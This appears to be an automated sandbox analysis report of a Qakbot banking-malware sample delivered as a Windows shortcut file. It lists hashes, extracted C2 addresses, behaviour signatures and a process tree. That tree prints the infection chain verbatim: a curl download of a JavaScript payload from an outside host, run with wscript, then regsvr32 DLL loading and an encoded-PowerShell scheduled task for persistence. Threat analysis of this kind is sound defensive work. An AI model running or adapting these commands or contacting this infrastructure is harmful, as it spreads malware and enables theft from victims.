Analysis

  • max time kernel
    150s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-09-2022 16:40

General

  • Target

    Hiccorrupti188.lnk

  • Size

    2KB

  • MD5

    565d7da79e3da03b4f556f100955c10e

  • SHA1

    2b4a629e7c6a74f7d72abe6522128b0db94a12d3

  • SHA256

    2a49944b548ca919f6c05bac4434b359a0bc81422901ac3c80160e383c1813e6

  • SHA512

    2a225d8a66ed416a7ed99aab6ad7a6cc0a44d4f3a1be1b2f5c38237598898b2f9099c67224a805953f95c9af620a6d991afd7fc5fd2f7286e6a7eb06a9928835

Malware Config

Extracted

Family

qakbot

Version

403.860

Botnet

BB

Campaign

1662650043

C2

191.97.234.238:995

81.131.161.131:2078

197.94.210.133:443

193.3.19.37:443

70.51.153.182:2222

99.232.140.205:2222

123.240.131.1:443

177.102.84.28:32101

105.156.152.227:443

190.59.247.136:995

89.211.218.88:2222

81.214.220.237:443

85.99.62.74:443

217.165.68.122:993

219.69.103.199:443

37.210.148.30:995

64.207.215.69:443

113.169.57.104:443

179.225.221.169:32101

151.234.94.35:990

Attributes
  • salt

    SoNuce]ugdiB3c[doMuce2s81*uXmcvP

Signatures

  • Qakbot/Qbot

    Qbot or Qakbot is a sophisticated worm with banking capabilities.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Hiccorrupti188.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1220
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /q /c echo 'a0' && ping 4j.org && MD "C:\Users\Admin\AppData\Roaming\HM\K86O6h" && echo "PH" && curl.exe --output C:\Users\Admin\AppData\Roaming\HM\K86O6h\tEZgi.tEY.QcZ.js https://matrixcommunication.net/s4Y/0.html && cd "C:\Users\Admin\AppData\Roaming\HM\K86O6h" && wscript tEZgi.tEY.QcZ.js
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3196
      • C:\Windows\system32\PING.EXE
        ping 4j.org
        3⤵
        • Runs ping.exe
        PID:4860
      • C:\Windows\system32\curl.exe
        curl.exe --output C:\Users\Admin\AppData\Roaming\HM\K86O6h\tEZgi.tEY.QcZ.js https://matrixcommunication.net/s4Y/0.html
        3⤵
          PID:4192
        • C:\Windows\system32\wscript.exe
          wscript tEZgi.tEY.QcZ.js
          3⤵
          • Blocklisted process makes network request
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:100
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C ping go.com && regsvr32 _WSP.dll
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2712
            • C:\Windows\system32\PING.EXE
              ping go.com
              5⤵
              • Runs ping.exe
              PID:4888
            • C:\Windows\system32\regsvr32.exe
              regsvr32 _WSP.dll
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:3244
              • C:\Windows\SysWOW64\regsvr32.exe
                _WSP.dll
                6⤵
                • Loads dropped DLL
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of WriteProcessMemory
                PID:4732
                • C:\Windows\SysWOW64\explorer.exe
                  C:\Windows\SysWOW64\explorer.exe
                  7⤵
                  • Adds Run key to start application
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:3772
                  • C:\Windows\SysWOW64\schtasks.exe
                    "C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /Z /ST 18:43 /tn hdwsaacxjy /ET 18:54 /tr "powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwASABNAFwASwA4ADYATwA2AGgAXABfAFcAUwBQAC4AZABsAGwAIgA=" /SC ONCE
                    8⤵
                    • Creates scheduled task(s)
                    PID:1696
                  • C:\Windows\SysWOW64\regsvr32.exe
                    regsvr32.exe "C:\Users\Admin\AppData\Roaming\Microsoft\Abbdcuz\udcauhiovjyjxn.dll"
                    8⤵
                    • Loads dropped DLL
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious behavior: MapViewOfSection
                    • Suspicious use of WriteProcessMemory
                    PID:560
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      9⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4692

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    2
    T1082

    Remote System Discovery

    1
    T1018

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\HM\K86O6h\_WSP.dll
      Filesize

      483KB

      MD5

      2d07b8c39bba8161ceda00ac1037fe5d

      SHA1

      d8b4c7303779d36799b62b327747c204d89aa186

      SHA256

      a04971254387e1f8d57c65fee5b3f3b13f011a2eb5698bc1877ec816fa978389

      SHA512

      734cd479408b5f5c4f83896eb3e5b4e92d62aa82bd5b3e54d946a21b4ac783668e90de2eb62f22935b4469481a174482c16a41414810c3fcb9db5f8f93b112e7

    • C:\Users\Admin\AppData\Roaming\HM\K86O6h\_WSP.dll
      Filesize

      483KB

      MD5

      2d07b8c39bba8161ceda00ac1037fe5d

      SHA1

      d8b4c7303779d36799b62b327747c204d89aa186

      SHA256

      a04971254387e1f8d57c65fee5b3f3b13f011a2eb5698bc1877ec816fa978389

      SHA512

      734cd479408b5f5c4f83896eb3e5b4e92d62aa82bd5b3e54d946a21b4ac783668e90de2eb62f22935b4469481a174482c16a41414810c3fcb9db5f8f93b112e7

    • C:\Users\Admin\AppData\Roaming\HM\K86O6h\tEZgi.tEY.QcZ.js
      Filesize

      129KB

      MD5

      c9ee9686734db73e4ffbd30d50497d16

      SHA1

      7b15fa41b28ecd9adfb400b1b4a560cacf0e8965

      SHA256

      c759c5f4dc07ef25ab3a3606968e87274d9aa8772e8769bfccd0e9518fc0e1b9

      SHA512

      45ef770a0e650147066641ff9c1e76305dd67984d18f667fda246f5a326f2a048b7477f1b74bfadcda3569051fb97cc3a467e051420c9865e6c7fad4458e03d4

    • C:\Users\Admin\AppData\Roaming\Microsoft\Abbdcuz\udcauhiovjyjxn.dll
      Filesize

      483KB

      MD5

      2d07b8c39bba8161ceda00ac1037fe5d

      SHA1

      d8b4c7303779d36799b62b327747c204d89aa186

      SHA256

      a04971254387e1f8d57c65fee5b3f3b13f011a2eb5698bc1877ec816fa978389

      SHA512

      734cd479408b5f5c4f83896eb3e5b4e92d62aa82bd5b3e54d946a21b4ac783668e90de2eb62f22935b4469481a174482c16a41414810c3fcb9db5f8f93b112e7

    • C:\Users\Admin\AppData\Roaming\Microsoft\Abbdcuz\udcauhiovjyjxn.dll
      Filesize

      483KB

      MD5

      2d07b8c39bba8161ceda00ac1037fe5d

      SHA1

      d8b4c7303779d36799b62b327747c204d89aa186

      SHA256

      a04971254387e1f8d57c65fee5b3f3b13f011a2eb5698bc1877ec816fa978389

      SHA512

      734cd479408b5f5c4f83896eb3e5b4e92d62aa82bd5b3e54d946a21b4ac783668e90de2eb62f22935b4469481a174482c16a41414810c3fcb9db5f8f93b112e7

    • memory/100-135-0x0000000000000000-mapping.dmp
    • memory/560-151-0x0000000001210000-0x0000000001232000-memory.dmp
      Filesize

      136KB

    • memory/560-153-0x0000000001210000-0x0000000001232000-memory.dmp
      Filesize

      136KB

    • memory/560-147-0x0000000000000000-mapping.dmp
    • memory/1696-146-0x0000000000000000-mapping.dmp
    • memory/2712-137-0x0000000000000000-mapping.dmp
    • memory/3196-132-0x0000000000000000-mapping.dmp
    • memory/3244-139-0x0000000000000000-mapping.dmp
    • memory/3772-150-0x00000000006B0000-0x00000000006D2000-memory.dmp
      Filesize

      136KB

    • memory/3772-144-0x0000000000000000-mapping.dmp
    • memory/3772-154-0x00000000006B0000-0x00000000006D2000-memory.dmp
      Filesize

      136KB

    • memory/4192-134-0x0000000000000000-mapping.dmp
    • memory/4692-152-0x0000000000000000-mapping.dmp
    • memory/4692-155-0x00000000006D0000-0x00000000006F2000-memory.dmp
      Filesize

      136KB

    • memory/4692-156-0x00000000006D0000-0x00000000006F2000-memory.dmp
      Filesize

      136KB

    • memory/4732-145-0x0000000000650000-0x0000000000672000-memory.dmp
      Filesize

      136KB

    • memory/4732-143-0x0000000000650000-0x0000000000672000-memory.dmp
      Filesize

      136KB

    • memory/4732-141-0x0000000000000000-mapping.dmp
    • memory/4860-133-0x0000000000000000-mapping.dmp
    • memory/4888-138-0x0000000000000000-mapping.dmp